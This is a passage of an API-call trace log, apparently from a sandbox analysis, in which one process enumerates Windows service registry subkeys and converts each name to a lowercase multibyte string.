lpName="iirsp") returned 0x0 [0239.081] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8d, lpName=0x2152850, cchName=0x104 | out: lpName="IKEEXT") returned 0x0 [0239.081] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8e, lpName=0x2152850, cchName=0x104 | out: lpName="inetaccs") returned 0x0 [0239.081] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8f, lpName=0x2152850, cchName=0x104 | out: lpName="intelide") returned 0x0 [0239.081] RegEnumKeyW (in: hKey=0x150, dwIndex=0x90, lpName=0x2152850, cchName=0x104 | out: lpName="intelppm") returned 0x0 [0239.081] RegEnumKeyW (in: hKey=0x150, dwIndex=0x91, lpName=0x2152850, cchName=0x104 | out: lpName="IPBusEnum") returned 0x0 [0239.081] RegEnumKeyW (in: hKey=0x150, dwIndex=0x92, lpName=0x2152850, cchName=0x104 | out: lpName="IpFilterDriver") returned 0x0 [0239.081] RegEnumKeyW (in: hKey=0x150, dwIndex=0x93, lpName=0x2152850, cchName=0x104 | out: lpName="iphlpsvc") returned 0x0 [0239.081] RegEnumKeyW (in: hKey=0x150, dwIndex=0x94, lpName=0x2152850, cchName=0x104 | out: lpName="IPMIDRV") returned 0x0 [0239.081] RegEnumKeyW (in: hKey=0x150, dwIndex=0x95, lpName=0x2152850, cchName=0x104 | out: lpName="IPNAT") returned 0x0 [0239.081] RegEnumKeyW (in: hKey=0x150, dwIndex=0x96, lpName=0x2152850, cchName=0x104 | out: lpName="IRENUM") returned 0x0 [0239.081] RegEnumKeyW (in: hKey=0x150, dwIndex=0x97, lpName=0x2152850, cchName=0x104 | out: lpName="isapnp") returned 0x0 [0239.082] RegEnumKeyW (in: hKey=0x150, dwIndex=0x98, lpName=0x2152850, cchName=0x104 | out: lpName="iScsiPrt") returned 0x0 [0239.082] RegEnumKeyW (in: hKey=0x150, dwIndex=0x99, lpName=0x2152850, cchName=0x104 | out: lpName="kbdclass") returned 0x0 [0239.082] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9a, lpName=0x2152850, cchName=0x104 | out: lpName="kbdhid") returned 0x0 [0239.136] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="kbdhid", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0239.136] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="kbdhid", cchWideChar=6, lpMultiByteStr=0x21f1a48, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kbdhid", lpUsedDefaultChar=0x0) returned 6 [0239.136] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9b, lpName=0x2152850, cchName=0x104 | out: lpName="KeyIso") returned 0x0 [0239.136] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="keyiso", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0239.136] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="keyiso", cchWideChar=6, lpMultiByteStr=0x21f1928, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="keyiso", lpUsedDefaultChar=0x0) returned 6 [0239.136] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9c, lpName=0x2152850, cchName=0x104 | out: lpName="KSecDD") returned 0x0 [0239.136] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ksecdd", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0239.136] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ksecdd", cchWideChar=6, lpMultiByteStr=0x21f1a48, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ksecdd", lpUsedDefaultChar=0x0) returned 6 [0239.136] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9d, lpName=0x2152850, cchName=0x104 | out: lpName="KSecPkg") returned 0x0 [0239.136] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ksecpkg", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0239.136] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ksecpkg", cchWideChar=7, lpMultiByteStr=0x21f1928, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ksecpkg", lpUsedDefaultChar=0x0) returned 7 [0239.136] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9e, lpName=0x2152850, cchName=0x104 | out: lpName="ksthunk") returned 0x0 [0239.136] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ksthunk", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0239.136] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ksthunk", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ksthunk", lpUsedDefaultChar=0x0) returned 7 [0239.137] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9f, lpName=0x2152850, cchName=0x104 | out: lpName="KtmRm") returned 0x0 [0239.137] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ktmrm", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0239.137] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ktmrm", cchWideChar=5, lpMultiByteStr=0x21f1928, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ktmrm", lpUsedDefaultChar=0x0) returned 5 [0239.137] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa0, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanServer") returned 0x0 [0239.137] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lanmanserver", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0239.137] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lanmanserver", cchWideChar=12, lpMultiByteStr=0x21f1a48, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lanmanserver", lpUsedDefaultChar=0x0) returned 12 [0239.137] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa1, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanWorkstation") returned 0x0 [0239.137] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lanmanworkstation", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0239.137] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lanmanworkstation", cchWideChar=17, lpMultiByteStr=0x21f1928, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lanmanworkstation", lpUsedDefaultChar=0x0) returned 17 [0239.137] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa2, lpName=0x2152850, cchName=0x104 | out: lpName="ldap") returned 0x0 [0239.137] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ldap", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0239.137] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ldap", cchWideChar=4, lpMultiByteStr=0x21f1a48, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ldap", lpUsedDefaultChar=0x0) returned 4 [0239.137] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa3, lpName=0x2152850, cchName=0x104 | out: lpName="lltdio") returned 0x0 [0239.137] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lltdio", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0239.137] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lltdio", cchWideChar=6, lpMultiByteStr=0x21f1928, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lltdio", lpUsedDefaultChar=0x0) returned 6 [0239.137] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa4, lpName=0x2152850, cchName=0x104 | out: lpName="lltdsvc") returned 0x0 [0239.137] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lltdsvc", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0239.138] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lltdsvc", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lltdsvc", lpUsedDefaultChar=0x0) returned 7 [0239.138] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa5, lpName=0x2152850, cchName=0x104 | out: lpName="lmhosts") returned 0x0 [0239.138] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lmhosts", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0239.138] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lmhosts", cchWideChar=7, lpMultiByteStr=0x21f1928, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lmhosts", lpUsedDefaultChar=0x0) returned 7 [0239.138] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa6, lpName=0x2152850, cchName=0x104 | out: lpName="Lsa") returned 0x0 [0239.138] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0239.138] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsa", cchWideChar=3, lpMultiByteStr=0x21f1a48, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsa", lpUsedDefaultChar=0x0) returned 3 [0239.138] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa7, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_FC") returned 0x0 [0239.138] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_fc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0239.138] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_fc", cchWideChar=6, lpMultiByteStr=0x21f1928, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsi_fc", lpUsedDefaultChar=0x0) returned 6 [0239.138] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa8, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS") returned 0x0 [0239.138] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_sas", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0239.138] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_sas", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsi_sas", lpUsedDefaultChar=0x0) returned 7 [0239.138] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa9, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS2") returned 0x0 [0239.138] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_sas2", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.138] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_sas2", cchWideChar=8, lpMultiByteStr=0x21f1928, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsi_sas2", lpUsedDefaultChar=0x0) returned 8 [0239.138] RegEnumKeyW (in: hKey=0x150, dwIndex=0xaa, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SCSI") returned 0x0 [0239.139] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_scsi", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.139] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_scsi", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsi_scsi", lpUsedDefaultChar=0x0) returned 8 [0239.139] RegEnumKeyW (in: hKey=0x150, dwIndex=0xab, lpName=0x2152850, cchName=0x104 | out: lpName="luafv") returned 0x0 [0239.139] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="luafv", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0239.139] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="luafv", cchWideChar=5, lpMultiByteStr=0x21f1928, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="luafv", lpUsedDefaultChar=0x0) returned 5 [0239.139] RegEnumKeyW (in: hKey=0x150, dwIndex=0xac, lpName=0x2152850, cchName=0x104 | out: lpName="Mcx2Svc") returned 0x0 [0239.139] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mcx2svc", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0239.139] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mcx2svc", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mcx2svc", lpUsedDefaultChar=0x0) returned 7 [0239.139] RegEnumKeyW (in: hKey=0x150, dwIndex=0xad, lpName=0x2152850, cchName=0x104 | out: lpName="megasas") returned 0x0 [0239.139] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="megasas", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0239.139] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="megasas", cchWideChar=7, lpMultiByteStr=0x21f1928, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="megasas", lpUsedDefaultChar=0x0) returned 7 [0239.139] RegEnumKeyW (in: hKey=0x150, dwIndex=0xae, lpName=0x2152850, cchName=0x104 | out: lpName="MegaSR") returned 0x0 [0239.139] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="megasr", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0239.139] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="megasr", cchWideChar=6, lpMultiByteStr=0x21f1a48, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="megasr", lpUsedDefaultChar=0x0) returned 6 [0239.139] RegEnumKeyW (in: hKey=0x150, dwIndex=0xaf, lpName=0x2152850, cchName=0x104 | out: lpName="Microsoft SharePoint Workspace Audit Service") returned 0x0 [0239.139] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft sharepoint workspace audit service", cchWideChar=44, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 44 [0239.140] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft sharepoint workspace audit service", cchWideChar=44, lpMultiByteStr=0x21f1928, cbMultiByte=44, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="microsoft sharepoint workspace audit service", lpUsedDefaultChar=0x0) returned 44 [0239.140] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb0, lpName=0x2152850, cchName=0x104 | out: lpName="MMCSS") returned 0x0 [0239.140] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmcss", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0239.140] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmcss", cchWideChar=5, lpMultiByteStr=0x21f1a48, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mmcss", lpUsedDefaultChar=0x0) returned 5 [0239.140] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb1, lpName=0x2152850, cchName=0x104 | out: lpName="Modem") returned 0x0 [0239.140] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="modem", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0239.140] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="modem", cchWideChar=5, lpMultiByteStr=0x21f1928, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="modem", lpUsedDefaultChar=0x0) returned 5 [0239.140] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb2, lpName=0x2152850, cchName=0x104 | out: lpName="monitor") returned 0x0 [0239.140] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="monitor", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0239.140] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="monitor", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="monitor", lpUsedDefaultChar=0x0) returned 7 [0239.140] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb3, lpName=0x2152850, cchName=0x104 | out: lpName="mouclass") returned 0x0 [0239.140] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mouclass", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.140] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mouclass", cchWideChar=8, lpMultiByteStr=0x21f1928, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mouclass", lpUsedDefaultChar=0x0) returned 8 [0239.140] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb4, lpName=0x2152850, cchName=0x104 | out: lpName="mouhid") returned 0x0 [0239.140] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mouhid", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0239.140] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mouhid", cchWideChar=6, lpMultiByteStr=0x21f1a48, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mouhid", lpUsedDefaultChar=0x0) returned 6 [0239.140] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb5, lpName=0x2152850, cchName=0x104 | out: lpName="mountmgr") returned 0x0 [0239.141] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mountmgr", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.141] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mountmgr", cchWideChar=8, lpMultiByteStr=0x21f1928, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mountmgr", lpUsedDefaultChar=0x0) returned 8 [0239.141] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb6, lpName=0x2152850, cchName=0x104 | out: lpName="MozillaMaintenance") returned 0x0 [0239.141] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mozillamaintenance", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0239.141] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mozillamaintenance", cchWideChar=18, lpMultiByteStr=0x21f1a48, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mozillamaintenance", lpUsedDefaultChar=0x0) returned 18 [0239.141] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb7, lpName=0x2152850, cchName=0x104 | out: lpName="mpio") returned 0x0 [0239.141] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpio", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0239.141] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpio", cchWideChar=4, lpMultiByteStr=0x21f1928, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mpio", lpUsedDefaultChar=0x0) returned 4 [0239.141] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb8, lpName=0x2152850, cchName=0x104 | out: lpName="mpsdrv") returned 0x0 [0239.141] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpsdrv", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0239.141] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpsdrv", cchWideChar=6, lpMultiByteStr=0x21f1a48, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mpsdrv", lpUsedDefaultChar=0x0) returned 6 [0239.141] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb9, lpName=0x2152850, cchName=0x104 | out: lpName="MpsSvc") returned 0x0 [0239.141] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpssvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0239.141] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpssvc", cchWideChar=6, lpMultiByteStr=0x21f1928, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mpssvc", lpUsedDefaultChar=0x0) returned 6 [0239.141] RegEnumKeyW (in: hKey=0x150, dwIndex=0xba, lpName=0x2152850, cchName=0x104 | out: lpName="MRxDAV") returned 0x0 [0239.141] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxdav", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0239.141] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxdav", cchWideChar=6, lpMultiByteStr=0x21f1a48, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mrxdav", lpUsedDefaultChar=0x0) returned 6 [0239.142] RegEnumKeyW (in: hKey=0x150, dwIndex=0xbb, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb") returned 0x0 [0239.142] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxsmb", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0239.142] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxsmb", cchWideChar=6, lpMultiByteStr=0x21f1928, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mrxsmb", lpUsedDefaultChar=0x0) returned 6 [0239.142] RegEnumKeyW (in: hKey=0x150, dwIndex=0xbc, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb10") returned 0x0 [0239.142] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxsmb10", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.142] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxsmb10", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mrxsmb10", lpUsedDefaultChar=0x0) returned 8 [0239.142] RegEnumKeyW (in: hKey=0x150, dwIndex=0xbd, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb20") returned 0x0 [0239.142] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxsmb20", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.142] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxsmb20", cchWideChar=8, lpMultiByteStr=0x21f1928, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mrxsmb20", lpUsedDefaultChar=0x0) returned 8 [0239.142] RegEnumKeyW (in: hKey=0x150, dwIndex=0xbe, 